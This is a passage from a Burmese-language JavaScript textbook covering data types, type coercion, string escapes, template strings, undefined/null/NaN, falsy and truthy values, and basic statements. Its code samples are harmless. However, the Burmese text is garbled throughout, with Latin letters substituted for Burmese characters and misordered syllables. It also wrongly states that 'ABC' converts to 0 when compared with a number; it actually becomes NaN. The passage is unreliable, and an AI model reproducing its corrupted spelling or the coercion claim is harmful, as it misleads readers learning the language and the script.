ထိသိမ်းလုိရ့ပါတယ်။ လက်ခံနိုင်တဲ့ ပမာဏထက် ပုိသိမ်းမိရင်ကြေတာ့ Overflow Error တက်မှာပါ။  32-bit
Integer ဆိုရင်ကြေတာ့ -2147483648 ကကြေန 2147483647 ထိ သိမ်းလုိရ့ပါတယ်။

တစ်ကယ်ကြေတာ့ Number ဆိုတဲ့အထဲမှာ Binary, Octal, Hexadecimal စတဲ့ စနစ်ကြေတွ ကျန်ပါကြေသးတယ်။
Low Level Programming ကြေခါ် ကွန်ပျူတာ System အတွင်းပုိင်းထိ စီမံတဲ့ကုဒ်ကြေတွကြေရးလုိရင် မgoစ်မကြေန
သိထားoုိ့  လုိအပ်မှာပါ။  ဒီစာအုပ်မှာ  အ့ဲဒီအကြေeကာင်းကြေတွ  ထည့်သွင်းမကြေoာ်gပနိုင်ပါyူး။  စိတ်ဝင်စားရင်
Number  System  ကြေတွအကြေeကာင်း  ဆက်လက်ကြေလ့လာထားသင့်ပါတယ်။  ဒါကြေတွကို  နားလည်ထားgခင်း
အားgoင့် ကွန်ပျူတာရဲ့ အလုပ်လုပ်ပံုကို ပုိအတွင်းကျကျ gမင်နိုင်ပါလိမ့်မယ်။

ဒဿမကိန်းကြေတွ သိမ်းoုိအ့တွက်ကြေတာ့ အနည်းဆံုး 32-bit ကကြေန စလုိပါတယ်။ တစ်ချ ို ့ Language ကြေတွမှာ
Float, Double, Long စသည်goင့် ဒဿမကိန်းကြေတွ မူကွဲကြေတွ ခွဲထားeကပါတယ်။ တစ်ချ ို ့  Language ကြေတွ
မှာကြေတာ့ 32-bit Float နဲ ့64-bit Float ဆိုပြပီး နှစ်မျ ို းရှိပါတယ်။ ဒီလုိကြေeကညာနိုင်ပါတယ်။

 Pseudocode 

let price: f32 = 99.45;

price Variable ဟာ 32-bit Float goစ်ကြေeကာင်း f32 Keyword နဲ ့တဲွကြေeကညာကြေပးလုိက်တာပါ။ 
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Boolean ကကြေတာ့ True သုိ့မဟုတ် False တန်oုိးနှစ်ခုထဲက တစ်ခုကိုသာ လက်ခံသိမ်းဆည်းနိုင်တဲ့  Data
Type  goစ်ပါတယ်။ တgခားတန်oုိးကြေတွကို  လက်ခံသိမ်းဆည်းနိုင်gခင်း  မရှိပါyူး။  မှား/မှန်  စစ်ပြပီး  လုပ်ရတဲ့
အလုပ်ကြေတွ အများကြကီးရှိလုိ ့အသုံးဝင်တဲ့ Data Type တစ်ခုပါ။

String ကကြေတာ့ စာကြေတွသိမ်းလုိရ့တဲ့ Data Type အမျ ို းအစားပါ။ String ဆိုတာ အကြေgခခံကျလွန်းတဲ့ မgoစ်
မကြေနလုိအပ်ချက်မုိလုိ့့ ထည့်ကြေgပာကြေပမယ့် သူ့ကို အကြေgခခံ  Primitive Data Type လုိ့ ကြေgပာoုိခ့က်ပါတယ်။ မူ
အားgoင့်  String  ဆိုတာ  Character  ကြေတွကို  အတွဲလုိက်  တဲွပြပီးသိမ်းတာgoစ်လုိ့  တန်oုိးတစ်ခုလုိ့  ကြေgပာoုိ့
လည်း ခက်ပါတယ်။ ဥပမာ -

 Pseudocode 

let greet: str = "Hello";

ဒါဟာ String Variable တစ်ခုထဲမှာ H + e + l + l + o ဆိုတဲ့ Character (၅) ခု အတွဲလုိက် သိမ်းလုိက်တာ
ပါ။ ဒါကြေeကာင့် တန်oုိးတစ်ခုဆိုတာထက်  Character (၅)  ခု  အတွဲလုိက်ပါတဲ့  တန်oုိးလုိ့  ကြေgပာရပါမယ်။ ဒီ
ကြေနရာမှာလည်း  String  တန်oုိးကြေတွကို  Double Quote  အoွင့်အပိတ်ထဲမှာ ထည့်ကြေရးထားတာကို သတိgပု
ပါ။ Language အများစုမှာ ဒီလုိကြေရးရကြေလ့ ရှိပါတယ်။

JavaScript  စာအုပ်မှာ နမူနာကြေတွကို  JavaScript  နဲ့  မကြေပးyဲ  Pseudocode နဲ့ကြေပးကြေနတာ အကြေeကာင်းရှိပါ
တယ်။ Programming Language ကြေတွကို Data Type စီမံပံုကြေပါ်မူတည်ပြပီး Statically Typed Language
နဲ ့Loosely Typed Language ဆိုပြပီး အမျ ို းအစား နှစ်မျ ို းရှိလုိ့ နိှုင်းယှဉ်ကြေoာ်gပချင်တဲ့အတွက် goစ်ပါတယ်။

Statically  Typed  Language    ကြေတွမှာ    Data  Type    ဟာ  သတ်မှတ်ပြပီးရင်  ပံုကြေသgoစ်သွားပါပြပီ  ။  အများ
အားgoင့် ကိုယ်တိုင်ကြေeကညာပြပီး သတ်မှတ်ကြေပးရပါတယ်။ ဒီလုိပါ –

 Pseudocode 

let num1: i32 = 3;

num1 Variable အတွက် 32-bit Integer အgoစ်  Data Type ကို တစ်ခါထဲ သတ်မှတ်ကြေပးလုိက်တာပါ။ ဒီ
လုိသတ်မှတ်ကြေပးပြပီးကြေနာက်မှာ တgခား  Data  အမျ ို းအစားကြေတွကို ဒီ  Variable  မှာ လက်ခံသိမ်းဆည်းနိုင်မှာ
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မဟုတ်ကြေတာ့ပါyူး။ စကြေeကညာကတည်းက  Integer သိမ်းoုိ့  ကြေeကညာထားတာ goစ်တဲ့အတွက်  Integer  ပဲ
လက်ခံသိမ်းဆည်းနိုင်မှာပါ။ ဥပမာ -

 Pseudocode 

num1 = 3.14 

ဆိုရင် Error တက်ပါပြပီ။ Float တန်oုိးတစ်ခုကို Integer Variable ထဲမှာ သိမ်းဆည်းoုိ့ ကြကိုးစားကြေနလုိ့ပါ။

 Pseudocode 

num1 > 3.14

Greater Than သကြေက[တကိုသုံးပြပီး အကြကီးအကြေသး နိှုင်းယှဉ်eကည့်လုိက်တာပါ။ ဒါလည်းပဲ Error goစ်ပါလိမ့်
မယ်။ Integer နဲ့ Float မတူတဲ့ အမျ ို းအစားနှစ်ခုကို နိှုင်းယှဉ်oုိ့ ကြကိုးစားကြေနလုိ့ပါ။ ဒါဟာ Statically Typed
Language ကြေတွရဲ့ အလုပ်လုပ်ပံု သကြေyာသyာဝ goစ်ပါတယ်။

JavaScript  ကကြေတာ့  Loosely Typed Language  goစ်ပါတယ်။  Dynamic Language  လုိလ့ည်း  ကြေခါ်ပါ
တယ်။ သူ့မှာ  Primitive Data Type (၆)  မျ ို းရှိပြပီး အကြေgခခံအကျဆံုး  (၃)  မျ ို းကို မှတ်ထားရင် ဒီအဆင့်မှာ
လုံကြေလာက်ပါပြပီ။ အ့ဲဒါကြေတွကကြေတာ့ - 

• Number
• Boolean
• String

ဒီ (၃) မျ ို းgoစ်ပါတယ်။ JavaScript မှာ Character ဆိုတဲ့ Data Type သီးgခားမရှိပါyူး။ ပြပီးကြေတာ့ Integer
နဲ့ Float ဆိုပြပီး နှစ်မျ ို းခွဲမထားyဲ Number ဆိုပြပီး တစ်မျ ို းထဲသာ ရှိပါတယ်။ JavaScript ရဲ့ Number ဟာ
64-bit Float အမျ ို းအစားပါ။ ဒီတစ်မျ ို းထဲနဲ့ ကိန်းgပည့်၊ ဒဿမကိန်း၊ အကြေပါင်းကိန်း၊ အနှုတ်ကိန်း၊ အားလံုး
ကို သိမ်းတဲ့သကြေyာပဲ goစ်ပါတယ်။
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ဒီထက်ပုိထူးgခားတာကကြေတာ့ Dynamically Typed Language goစ်လုိ့ Data Type ကို ကိုယ်တိုင်ကြေeကညာ
ကြေပးစရာ မလုိပါyူး။ ထည့်သွင်းလုိက်တဲ့ တန်oုိးကြေပါ်မူတည်ပြပီး   Data Type   က အလုိအကြေလျှာက် ကြေgပာင်းလဲ  
အလုပ်လုပ်ကြေပးသွားမှာ goစ်ပါတယ်။

 JavaScript 

let myvar

ကြေပးထားတဲ့နမူနာမှာ  myvar အမည်နဲ့  Variable  တစ်ခု  ကြေeကညာထားပါတယ်။  Data Type  ကြေgပာမထား
သလုိ တန်oုိးလည်း ထည့်သွင်းထားgခင်း မရှိကြေသးပါyူး။ ဒါဆိုရင် သူရဲ့  Data Type ကို  undefined လုိ့
ကြေခါ်ပါတယ်။ အမျ ို းအစားသတ်မှတ်ထားgခင်း မရှိကြေသးတဲ့ Variable ပါ။

 JavaScript 

myvar = "ABC"

ဒီတစ်ခါ ကြကိုတင်ကြေeကညာထားတဲ့  myvar ထဲကို  ABC လုိ့ကြေခါ်တဲ့ တန်oုိးတစ်ခုထည့်သွင်းလုိက်ပါပြပီ။ ဒီလုိ
ထည့်သွင်းလုိက်တဲ့အတွက်  myvar ရဲ့  Data Type  က String  goစ်သွားပါပြပီ။ သူ့အလုိလုိgoစ်သွားတာပါ။
Language  က ကြေgပာင်းကြေပးလုိက်တာပါ။

 JavaScript 

myvar = 123

ဒီတစ်ခါ myvar ထဲမှာ 123 ဆိုတဲ့ တန်oုိးတစ်ခုထည့်သွင်းလုိက်ပါတယ်။ ရပါတယ်။ Error ကြေတyွာကြေတွ မ
goစ်ပါyူး။  Language က အလုိအကြေလျှာက်  myvar ရဲ့  Data Type ကို  Number အgoစ်ကြေgပာင်းပြပီး ဆက်
အလုပ်လုပ်ကြေပးသွားမှာ မုိလုိ့ပ့ါ။ ဒီသကြေyာသyာဝကို   Type Juggling   လုိ့ကြေခါ်ပါတယ်  ။ Type ကြေတွကို အလုိ
အကြေလျှာက် ကြေgပာင်းကြေgပာင်းပြပီး သိမ်းကြေပးသွားတာ မုိလုိ့ပ့ါ။

ပုိပြပီးကြေတာ့gမင်သာချင်ရင် JavaScript မှာရှိတဲ့ typeof Keyword ရဲ့အကူအညီနဲ့ အခုလုိကြေရးပြပီး စမ်းeကည့်
လုိရ့ပါတယ်။
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နမူနာပုံမှာ ကြေလ့လာeကည့်လုိက်ရင် yာတန်oုိးမှ မသတ်မှတ်ရခင်မှာ myvar ရဲ့ Data Type ကို typeof
နဲ့ ထုတ်eကည့်လုိက်တဲ့အခါ undefined goစ်ကြေနတာကိုကြေတွ့ရမှာgoစ်ပြပီး တန်oုိးကြေတွ ထည့်သွင်းပြပီးကြေနာက်
typeof နဲ့  ထုတ်eကည့်လုိက်တဲ့အခါ ထည့်သွင်းလုိက်တဲ့  တန်oုိးကြေပါ်မူတည်ပြပီး  myvar ရဲ့  Data Type
ကြေgပာင်းလဲသွားတာကို  ကြေတွ့ gမင်ရgခင်းပဲgoစ်ပါတယ်။ ဒီလုိ  ထည့်သွင်းလုိက်တဲ့  တန်oုိးကြေပါ်မူတည်ပြပီး  Data
Type ကြေgပာင်းလဲယုံသာမက အခုလုိ လုပ်ကြေဆာင်ချက်မျ ို းကြေတွကိုလည်း လုပ်ကြေပးနိုင်ပါကြေသးတယ်။

 JavaScript 

"ABC" > 123

String နဲ့ Number အမျ ို းအစား မတူတဲ့ အရာနှစ်ခုကို နိှုင်းယှဉ်ကြေနကြေပမယ့် Error မgoစ်ပါyူး။ JavaScript
က သူ့yာသာ တူကြေအာင်ညိှပြပီး အလုပ်လုပ်ကြေပးသွားမှာ မုိလုိ့့ပါ။  ABC ကို  Number ကြေgပာင်းလုိက်တဲ့အခါ 0
ရပါတယ်။  ဒါကြေeကာင့်  အကြေgoအကြေနနဲ့  false  ကိုရမှာပါ။  0  က  123  ထက်  မကြကီးတဲ့အတွက်ကြေeကာင့်goစ်ပါ
တယ်။ ဒီသကြေyာသyာဝကိုကြေတာ့   Type Coercion   လုိ့ကြေခါ်ပါတယ်  ။ လုိအပ်တဲ့အခါ Type ကြေတွကို အလုိအ
ကြေလျှာက် ချနိ်ညှိပြပီး အလုပ်လုပ်ကြေပးသွားမှာမုိလုိ့ပ့ါ။



PWD 2023 – အခန်း (၁၃) – JavaScript Data Types 215

ဒီလုိသကြေyာသyာဝရှိတဲ့ Language အမျ ို းအစားgoစ်လုိ့ JavaScript ကို Dynamically Typed Language
လုိ့ကြေခါ်တာပါ။  ဒီ  Dynamically  Typed  goစ်တဲ့အတွက်  အားသာချက်အကြေနနဲ့  ကြေရးရတာ  ပုိလွယ်သွားပါ
တယ်။ Type စီမံတဲ့ကိစ္စကြေတွ ကိုယ်တိုင်လုပ်စရာ မလုိတဲ့အတွက်ပါ။ အားနည်းချက် အကြေနနဲ့ မကြေမျှာ်လင့်တဲ့
အမှားကြေတွ ကြကံုရတတ်ပါတယ်။ ကိုယ်ကမခိုင်းyဲ သူ့yာသာလုပ်ကြေနလုိ ့ထင်မထားတဲ့ အမှားကြေတွ ကြကံုရတာ
မျ ို းပါ။

Data Type  အကြေeကာင်းကြေgပာတဲ့အခါ  Primitive Type  ကြေတွနဲတ့င် မgပည့်စံုပါyူး။  Compound Type  ကြေခါ်
တန်oုိးကြေတွကို  အတွဲလုိက်သိမ်းလုိရ့တဲ့  အမျ ို းအစားကြေတွရှိပါကြေသးတယ်။  Structure  Type  လုိ့ကြေခါ်တဲ့
oဲွ့စည်းပံုနဲ့  သိမ်းလုိရ့တဲ့  အမျ ို းအစားကြေတွလည်း  ရှိပါကြေသးတယ်။  ဒီအကြေeကာင်းကြေတွကိုကြေတာ့  Array  ကြေတွ
Object ကြေတွအကြေeကာင်း ကြေရာက်ကြေတာ့မှ ဆက်eကည့်eကပါမယ်။

String
String အကြေeကာင်း နည်းနည်းထပ်ကြေgပာပါဦးမယ်။ JavaScript မှာ String တစ်ခတုစ်ကြေဆာက်oုိအ့တွက် သုံး
လုိရ့တဲ့ သကြေက[တ (၃) မျ ို းရှိပါတယ်။ Single Quote, Double Quote နဲ ့Back tick တိုပ့ါ။ Character Data
Type ရှတိဲ့ Language ကြေတွမှာ Single Quote ကို Character တန်oုိးသတ်မှတ်oုိ့သုံးပြပီး Double Quote ကို
String တန်oုိးသတ်မှတ်oုိ ့သုံးeကပါတယ်။ ဒီလုိပါ -

 Pseudocode 

let blood: char = 'A';
let greet: str = "Hello";

JavaScript  မှာကြေတာ့  Character  Data  Type  သီးgခားမရှိyဲ  String  တန်oုိးသတ်မှတ်oုိအ့တွက်  Single
Quote (သုိမ့ဟုတ်) Double Quote နှစ်သက်ရာကို အသုံးgပုနိုင်gခင်းgoစ်ပါတယ်။ 

 JavaScript 

let blood = "A"
let greet = 'Hello'
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နှစ်ခုလံုးဟာ မှန်ကန်တဲ့  String  တန်oုိးကြေတွ goစ်eကပါတယ်။ အoွင့်အပိတ် မှန်oုိက့ြေတာ့လုိပါတယ်။ ဒီကြေနရာ
မှာ ကြေgပာစရာရှိလာတာက Escape Character အကြေeကာင်းပါ။ အကယ်၍ 3 O' Clock ဆိုတဲ့ String တန်oုိး
ကို  သတ်မှတ်လုိရင်  yယ်လုိလုပ်ရမလဲ။  ဒါမှမဟုတ်  3"  (၃  ကြေပ)  လုိတန်oုိးမျ ို း  သတ်မှတ်လုိရင်ကြေရာ
yယ်လုိ လုပ်ရမလဲ။ တန်oုိးထဲမှာ Quote ကြေတွပါကြေနလုိပ့ါ။ ဒီလုိကြေရးလုိရ့ပါတယ်။

 JavaScript 

let time = "3 O' Clock"

Double Quote  နဲ့သတ်မှတ်ထားတဲ့  String  အတွင်းထဲမှာ  Single Quote  တန်oုိးပါကြေနတာပါ။ ရပါတယ်။
အကယ်၍ Single Quote  နဲ့သတ်မှတ်ထားတဲ့  String  အတွင်းထဲမှာ  Single Quote  တိုက်ရုိက်ကြေရးလုိ့ မရ
ကြေတာ့ပါyူး။ ဒီလုိ ကြေရးကြေပးရပါတယ်။

 JavaScript 

let time = '3 O\' Clock'

Backslash  သကြေက[တကိုသုံးပြပီး  Escape  လုပ်ကြေပးလုိက်တာပါ။  တနည်းအားgoင့်  \'  ဆိုတာ  ဒီကြေနရာမှာ
Single Quote ထည့်လုိ့ ညွှန်eကားချက် ကြေပးလုိက်တာပါပဲ။ အလားတူပဲ၊  Double Quote နဲ့သတ်မှတ်ထား
တဲ့ String အတွင်းထဲမှာ Double Quote ကြေတွ ထည့်သွင်းoုိ့ လုိရင် အလားတူ Escape လုပ်ကြေပးနိုင်ပါတယ်။

 JavaScript 

let height = "3\" tall"

တgခား Escape လုပ်ကြေပးoုိလုိ့နိုင်တာကြေတွ အများကြကီးရှိပါကြေသးတယ်။ \n ဆိုရင် ဒီကြေနရာမှာ ကြေနာက်တစ်လုိင်း
ဆင်းလုိ့ ညွှန်eကားချက် ကြေပးလုိက်တာပါ။ \u1000 ဆိုရင် ကကြကီးဆိုတဲ့စာလံုးတစ်လုံး ဒီကြေနရာမှာ ထည့်ကြေပး
ပါလုိ့ ကြေgပာလုိက်တာပါ။ \u ကို ယူနီကုဒ်စာလံုးကြေတွ ထည့်သွင်းoုိ့ သံုးရတာပါ။ ဒါကြေတွရဲ့လက်ကြေတွ့ အသုံးgပု
ပုံကို  ကြေgပာoုိက့ြေတာ့  နည်းနည်းကြေစာပါကြေသးတယ်။  ထံုးစံအတိုင်း  ဒီလုိကြေရးထုံးမျ ို းကြေတွ  ရိှတယ်ဆိုတာကိုပဲ
မှတ်သားထားကြေပးပါ။
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ကြေနာက်ထပ်တစ်မျ ို းgoစ်တဲ့  Back Tick သကြေက[တနဲ့ သတ်မှတ်ရတဲ့  String ကြေတွကိုကြေတာ့ Template String
လုိ့ကြေခါ်ပါတယ်။ String တစ်ခုအတွင်းမှာ တgခားတန်oုိးကြေတွကို ကြေရာထည့်ကြေရးချင်ရင် အသုံးဝင်ပါတယ်။

 JavaScript 

let name = "Bob"
let greet = `Hello Alice`

ဒါကရုိးရုိးကြေရးလုိက်တာပါ။ name Variable အတွင်းမှာ Bob လုိ့ကြေခါ်တဲ့  String တန်oုိးတစ်ခုရှိပြပီး  greet
Variable အတွင်းမှာကြေတာ့ Hello Alice လုိ့ ကြေခါ်တဲ့ String တန်oုိးတစ်ခု ရှိကြေနတာပါ။ Template String ရဲ့
ထူးgခားချက်ကကြေတာ့ အခုလုိကြေရးလုိရ့gခင်းgoစ်ပါတယ်။

let name = "Bob"
let greet = `Hello ${name}`

ဒါဆိုရင် greet ရဲ့ တန်oုိးက Hello Bob goစ်သွားမှာပါ။ name Variable ကို  String အတွင်းထဲမှာ ကြေရာ
ထည့်ကြေရးသားလုိက်gခင်း  goစ်ပါတယ်။  ဒီလုိထည့်သံုးနိုင်oုိအ့တွက်  ${} သကြေက[တကိုသုံးရပါတယ်။  ဒီ
သကြေက[တအတွင်းမှာ  ထည့်သွင်းလုိတဲ့  Variable  ကို  ကြေပးရgခင်း  goစ်ပါတယ်။  အသံုးဝင်ပါတယ်။  တgခား
Programming Language  ကြေတွမှာ ဒီလုိသကြေyာမျ ို းနဲ့  တန်oုိးကြေတွကြေရာစပ်ကြေပးလုိရ့တဲ့  String Format  ဆို
တာ အကြေgခခံအကျဆံုးအကြေနနဲ့  ပါဝင်တဲ့  လုပ်ကြေဆာင်ချက်goစ်ပြပီး  JavaScript  မှာ  ဒီလုိလုပ်ကြေဆာင်ချက်မျ ို း
ပါလာတာ မeကာကြေသးပါyူး။

String တန်oုိးကြေတွ သတ်မှတ်တဲ့အခါ နှစ်ကြေeကာင်းသုံးကြေeကာင်းခွဲပြပီးကြေတာ့လည်း ကြေရးလုိရ့ပါတယ်။ ဒီလုိပါ -

 JavaScript 

let name = "Bob"
let age = 22
let greet = `
    Hello ${name},
    you are ${age} years old.
`
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Template String မှ မဟုတ်ပါyူး။  Single Quote, Double Quote နဲ့ကြေရးတဲ့ ရုိးရုိး  String ကြေတွမှာလည်း
အခုလုိပဲ လုိအပ်ရင် လုိင်းကြေတွခွဲကြေရးလုိ့ ရပါတယ်။

Special Data Types
JavaScript  Data  Type  မှာ  ထူးgခားပြပီး  မျက်စိလည်ချင်စရာကြေကာင်းတဲ့  အမျ ို းအစား  (၃)  မျ ို းရှိပါကြေသး
တယ်။ undefined, null နဲ့  NaN တို့goစ်ပါတယ်။ ကြေရးသားပုံ စာလံုး အကြကီးအကြေသး ကြေgပာင်းလုိ့မရပါ
yူး။  ဒီအတိုင်း  အတိအကျရှိကြေနတာပါ။  undefined အကြေeကာင်းကြေတာ့  အကြေပါ်နားမှာ  ကြေgပာခဲ့ပါတယ်။
Type  အမျ ို းအစား  သတ်မှတ်ထားgခင်း  မရှိကြေသးတဲ့  အကြေgခအကြေနကို  undefined လုိ့ကြေခါ်တာပါ။  null
ကကြေတာ့ တန်oုိးမရှိတဲ့ အကြေgခအကြေနကို ကြေgပာတာပါ။ မတူပါyူး။

 JavaScript 

let myvar

ဒါဟာ အမျ ို းအစားသတ်မှတ်ရgခင်း မရှိကြေသးတဲ့ undefined Variable တစ်ခုပါ။

 JavaScript 

let myvar = null

ဒါဆိုရင်ကြေတာ့ တန်oုိးမရှိကြေသးတဲ့ Variable ပါ။ သူ့ရဲ့ Data Type ကိုက null Type goစ်ကြေနတာပါ။

NaN ကကြေတာ့ Not a Number ရဲ့ အတိုကြေကာက် goစ်ပါတယ်။ Number Data Type တစ်မျ ို းပါ။ ဒါကြေပမယ့်
Number လည်း မဟုတ်ပါyူး။ ဒါကြေeကာင့် NaN ကို  Number မဟုတ်တဲ့  Number Data Type လုိ့ ကြေခါ်ပါ
တယ်။ အ့ဲဒါကြေeကာင့် ကြေgပာတာပါ။ ဒီ (၃) မျ ို းက မျက်စိလည်ချင်စရာ ကြေကာင်းပါတယ်။

 JavaScript 

let num1
let num2 = 1

num1 + num2



PWD 2023 – အခန်း (၁၃) – JavaScript Data Types 219

ဒီကုဒ်မှာ  num1 က undefined goစ်ပါတယ်။  num2 ကကြေတာ့  Number  ပါ။ ဒီနှစ်ခုကို ကြေပါင်းလုိက်တဲ့
အခါ  NaN ကိုရပါတယ်။  undefined ကို  Number  ကြေgပာင်းလုိမ့ရတဲ့အတွက်  Number  မဟုတ်တဲ့
Number  goစ်တဲ့  NaN ကိုရတာပါ။  နားရှုပ်ပြပီး  မျက်စကိြေတွလည်သွားရင်  စတိ်မပျက်ပါနဲ။့  အကြေတွ့အကြကံုရှိ
ကျွမ်းကျင် ပရုိင်္ဂရမ်မာကြေတွကိုယ်တိုင် မျက်စိလည်eကတဲ့ အကြေeကာင်းအရာတစ်ခု goစ်ပါတယ်။ 

Boolean
ဆက်လက်ပြပီးကြေတာ့ Boolean အကြေeကာင်း ကြေgပာစရာ ရှိပါကြေသးတယ်။ ကွန်ပျူတာဟာ 0 နဲ့ 1 ကြေတွ စုoဲွ့ပါဝင်
တဲ့  Binary System  ကိုသာ နားလည်တဲ့စနစ် goစ်ပါတယ်။ အလုပ်လုပ်တဲ့အခါမှာ  0  လား  1  လား၊  false
လား true လား၊ မှားလား မှန်လား၊ ဆိုတဲ့ အကြေgခအကြေနကို eကည့်ပြပီး အလုပ်လုပ်တာပါ။ ဒါကြေeကာင့် Boolean
Type မှာ true နဲ့  false ဆိုတဲ့ တန်oုိးနှစ်မျ ို းထဲသာ ရှိကြေပမယ့် အလွန်အကြေရးကြကီးတယ်လုိ့ ကြေရှ့ပုိင်းမှာ ထည့်
ကြေgပာခဲ့တာပါ။ ကွန်ပျူတာကိုယ်တိုင်က ဒီနှစ်မျ ို းကြေပါ်မှာ အကြေgခခံပြပီး ဆံုးgoတ်အလုပ်လုပ်သွားမှာ မုိလုိ့ပ့ါ။

Boolean  မှာ မူလတန်oုိးအကြေနနဲ့  true  နဲ့  false  နှစ်မျ ို းပဲရှိပါတယ်။ ဒါကြေပမယ့် တgခားတန်oုိးကြေတွကိုလည်း
လုိအပ်ရင်  Boolean  ကြေgပာင်းပြပီး အသုံးgပုနိုင်ပါတယ်။ ဥပမာ  0  ကို  false  အစား အသုံးgပုပြပီး၊  1  ကို  true
အစား  အသုံးgပုနိုင်ပါတယ်။  ဒီလုိတန်oုိးကြေတွကို  Boolean  ကြေgပာင်းတဲ့အလုပ်ကို  ကိုယ်တိုင်လုပ်စရာမလုိပါ
yူး။ လုိအပ်ရင် JavaScript က သူ့yာသာကြေgပာင်းပြပီး အလုပ်လုပ်ကြေပးပါတယ်။ ဒါကြေeကာင့် yယ်တန်oုိးကြေတွ
ကို  Boolean ကြေgပာင်းရင် true ရပြပီး yယ်တန်oုိးကြေတွကို  Boolean ကြေgပာင်းရင် false ရသလဲဆိုတာ သိoုိ့လုိ
လာပါတယ်။ အကျဉ်းချုပ်အားgoင့် ဒီလုိမှတ်နိုင်ပါတယ်။ 

• 0
• ""
• null
• undefined
• NaN

ဒီ  (၅)  မျ ို းကို  Boolean  ကြေgပာင်းရင်  false  goစ်ပါတယ်။  Zero, Empty String,  null,  undefined နဲ့
NaN တိုပ့ါ။ ဒီတန်oုိးကြေတွကို  Falsy Value လုိ့ကြေခါ်ပါတယ်။ မလုိအပ်yဲ ရှုပ်မှာစိုးလုိ့ ထည့်မကြေgပာတာကြေလး
တစ်ချ ို ့ကြေတာ့ကျန်ပါကြေသးတယ်။ ကြေလာကြေလာဆယ် ဒီ  (၅)  မျ ို းကလဲွရင် ကျန်တန်oုိးကြေတွ  Boolean  ကြေgပာင်း
ရင် true goစ်တယ်လုိ့ အeကမ်းoျဉ်းအားgoင့် မှတ်နိုင်ပါတယ်။ Truthy Value လုိ့ကြေခါ်ပါတယ်။ ဥပမာတစ်ချ ို ့
ကြေပးရရင် ဒီလုိပါ။
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• 1
• -2
• " "
• "false"
• 3.14

ဒါကြေတွအားလုံးက Truthy  goစ်တဲ့  Value  ကြေတွပါ။ အနှုတ်ကိန်းကြေတ၊ွ ဒဿမကိန်းကြေတွကို  Boolean  ကြေgပာင်း
ရင်လည်း  true  ပဲရမှာပါ။ နမူနာမှာ  Space  တစ်ခုပါတဲ့  String  ကိုလည်း ထည့်ကြေပးထားပါတယ်။  Empty
String ဟာ false goစ်ကြေပမယ့် Space တစ်ခုပါတဲ့ String ကကြေတာ့ true goစ်ပါတယ်၊ Empty မဟုတ်လုိပ့ါ။
ပြပီးကြေတာ့ "false" ဟာလည်း true goစ်ပါတယ်။ "false" လုိ့ကြေရးထားကြေပမယ့် String တစ်ခုgoစ်ကြေနလုိပ့ါ။

အခုကြေလာကြေလာဆယ် ထည့်မeကည့်ရကြေသးတဲ့  Array  ကြေတွ  Object  ကြေတွလည်း  ကျန်ပါကြေသးတယ်။  ဒါကြေတွ
လည်း Truthy ပါပဲ။ ဒါကြေeကာင့် yာကြေတွက Truthy goစ်သလဲ လုိက်မှတ်မယ့်အစား Falsy goစ်တဲ့  (၅) မျ ို း
ကို မှတ်ထားလုိက်ရင် ကျန်တာအားလံုး Truthy goစ်တယ်လုိ့ ကြေကာက်ချက်ချလုိရ့သွားမှာပဲ goစ်ပါတယ်။
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အခန်း (၁၄) – JavaScript Expressions, Statements & Operators

ကုဒ်ကြေတွစကြေရးကြေတာ့မယ်ဆိုရင်  Expression  နဲ့  Statement  လုိ့ကြေခါ်တဲ့  အကြေgခခံ  အသုံးအနှုန်းကြေလးကြေတွ
အကြေeကာင်း သိထားoုိ့လုိပါတယ်။  "ကြေနကြေကာင်းလား"  ဆိုတဲ့  အကြေမးစကားကြေလးတစ်ခုဟာ  Expression  goစ်
ပြပီး "yိုyိုကြေရ ကြေနကြေကာင်းရင် အgပင်သွားရကြေအာင်" ဆိုတာကကြေတာ့ gပည့်စံုတဲ့ Statement တစ်ခုgoစ်သွားပါ
ပြပီ။  Expression  ဆိုတာ  တွက်ချက်မှုကြေလးကြေတွ၊  လုပ်ကြေဆာင်ချက်ကြေလးကြေတွပါ။  ဥပမာ  -  1  +  2  ဟာ
Expression  goစ်ပါတယ်။  num > 10 ဟာလည်း  Expression  တစ်ခုပါပဲ။  အ့ဲဒီတွက်ချက်မှုကြေလးကြေတွ၊
လုပ်ကြေဆာင်ချက်ကြေလးကြေတွကြေပါ် မူတည်ပြပီး yာလုပ်ရမလဲ ညွှန်eကားသတ်မှတ်လုိက်တဲ့အခါ Statement goစ်
သွားပါတယ်။ ဥပမာ – 

 JavaScript 

let sum = 1 + 2

ဒါဟာ  Statement  တစ်ခုပါ။  1  +  2  ကိုကြေပါင်းလုိရ့လာတဲ့အကြေgoကို  sum ဆိုတဲ့  Variable  ထဲမှာ  ထည့်
လုိက်ပါလုိ့ ညွှန်eကားလုိက်gခင်း goစ်ပါတယ်။ ဒါကြေeကာင့်  Expression ဆိုတာ လုပ်ကြေဆာင်ချက်တစ်ခုgoစ်ပြပီး
Statement ဆိုတာ ညွှန်eကားချက်goစ်တယ် လုိ ့အတိုချုပ်မှတ်နိုင်ပါတယ်။

JavaScript Statement တစ်ကြေeကာင်းရဲ့အဆံုးသတ်ကို Semicolon နဲ ့ပိတ်ကြေပးလုိ ့ရပါတယ်။ ဒီလုိပါ -

 JavaScript 

let sum = 1 + 2;
let greet = "Hello World";

တစ်ချ ို ့  Language  ကြေတွမှာ  ဒီလုိကြေနာက်ဆံုးကကြေန  Semicolon  နဲပိ့တ်ကြေပးoုိ့  မgoစ်မကြေနလုိအပ်ပါတယ်။
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JavaScript မှာကြေတာ့ Optional ပါ။ Semicolon ပိတ်ကြေပးလုိရ့သလုိ၊ မပိတ်yဲကြေရးလုိလ့ည်းရပါတယ်။ ကုဒ်
တစ်လုိင်းထဲမှာ  Statement  နှစ်ခုသုံးခု ကြေရာကြေရးချင်ရင်ကြေတာ့  Semicolon  နဲ့  မgoစ်မကြေနပိတ်ကြေပးရကြေတာ့မှာ
ပါ။ ဒီလုိပါ -

 JavaScript 

let n = 5; n + 10;

Statement  ကြေတွအကြေeကာင်းကြေgပာရင်းနဲ့  ထည့်ကြေgပာoုိလုိ့လာတာက  Input/Output  Statement  ကြေတွပါ။
ကြေလာကြေလာဆယ် Output Statement  တစ်ခုကိုအရင်ကြေလ့လာထားeကပါမယ်။  JavaScript  မှာ ရလဒ်ကြေတွ
ကို ကြေoာ်gပoုိ့အတွက်  console.log() လုိ့ကြေခါ်တဲ့  Method  တစ်မျ ို းကို သံုးရပါတယ်။ ကွင်းစကွင်းပိတ်
ထဲမှာ ကြေoာ်gပကြေစလုိတဲ့ တန်oုိးကို ကြေပးနိုင်ပါတယ်။ ဥပမာ -

 JavaScript 

let num = 10

console.log("Hello World")
console.log(1 + 2)
